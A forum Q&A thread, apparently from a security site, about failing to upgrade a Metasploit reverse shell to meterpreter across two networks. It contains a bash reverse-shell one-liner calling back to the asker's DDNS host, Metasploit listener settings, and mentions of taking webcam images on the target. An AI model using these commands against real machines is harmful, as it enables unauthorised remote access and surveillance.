3

I've been playing around with Metasploit the past week, and am successfully able to obtain a basic shell of the victim over the internet. I've currently:

  • Created a DDNS that points to my public IP
  • Set up port forwarding for all the important ports I use (6680, 4433)
  • Tested the setup (DDNS and each port) by accessing temporary server hosted on my attacker machine

This image from Corelan's blog post sums up my situation very well:

Scenario

But when I try to upgrade the shell to a meterpreter, either via this command sessions -u 1 or by manually using the post/multi/manage/shell_to_meterpreter module, the shell fails to upgrade.

fails to bind

It fails to bind to the DDNS / Public IP for obvious reasons and binds to my local network IP or loopback address by default. This works without any issues when both attacker and target machines are on the same network, but always fails over the internet.

I just can't understand how to make it work.

Some more details:

  • Both attacker and target machines are Macbooks running OSX 10.10 x64 Yosemite
  • Both machines are on completely different networks, each behind a router and a different ISP
  • Using Metasploit version v4.11.4-dev-8a5e45b1
  • Using the osx/x64/shell_reverse_tcp payload

  • Running this command on the target machine to connect back to the attacker:

    bash -c "bash -i >& /dev/tcp/my.ddns.host/6680 0>&1 2>&1"
|improve this question
  • 1
    Are you root on the box? Also an aside: metasploit is a great framework - but it takes a lot of the hard stuff away to just do things by 'magic'. If you're just learning you would do yourself a favor by learning how that magic works. Open up wireshark on both your machine an the victim (or tcpdump) and watch what is actually happening. – KDEx Sep 24 '15 at 3:42
  • Yes, root. Anyways, I do plan on learning/understanding the insides of it, but I have to start somewhere. No one can develop a complete website or craft a native application on their day one. They have to start by learning the language and using basic/easy tools. – Sheharyar Sep 24 '15 at 3:55
  • Since you're root you should be able to just download the payload from a public IP and execute it as root - and have it connect back to you? Also I wasn't knocking your way of learning - but in general I've found trouble shooting most efficient by starting with lower layers and working up to the application layer – KDEx Sep 24 '15 at 4:20
  • So if you try your initial reverse shell on that port, does it work? – SilverlightFox Sep 24 '15 at 8:40
  • @SilverlightFox Yes it works. I can access files, take webcam images and do other tasks (as far as a basic bash shell allows me to do) – Sheharyar Sep 24 '15 at 15:20
2

The comments on your question seem to be rather misleading, or almost irrelevant. I'd ignore them if I were you!

Remember, upgrading the session requires establishing of a new communications session, it doesn't just take over the existing socket.

This looks like the classic scenario of binding to the wrong host or port. For the upgrade to work in the scenario you describe, your firewall needs to forward port 4433 to your attacking machine. If it doesn't, then you simply won't get your reverse connection.

If you have configured your firewall such that the forwarded port is not the same as the one you're binding to, then you have to take another step. For example, if your firewall is configured to forward port 443 to port 4433, then you need to:

  • set LPORT 443 -- this tells Meterpreter to call back on port 443.
  • set ReverseListenerBindPort 4433 -- this tells Metasploit to bind to port 4433 instead of 443.

Unless you have a persistent listener for your initial shell, you can even reuse the same port.

Given that you're using non-standard ports, it could be the the remote firewall is blocking the outbound traffic as well.

I hope that helps.

|improve this answer
  • Well, this is an old question. I figured out the part about the victim machine also forwarding the port, but since that wasn't easily possible, I had to upgrade to a persistent meterpreter shell the old way; I used the basic shell to manually execute a python meterpreter payload. – Sheharyar Oct 28 '15 at 9:09

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.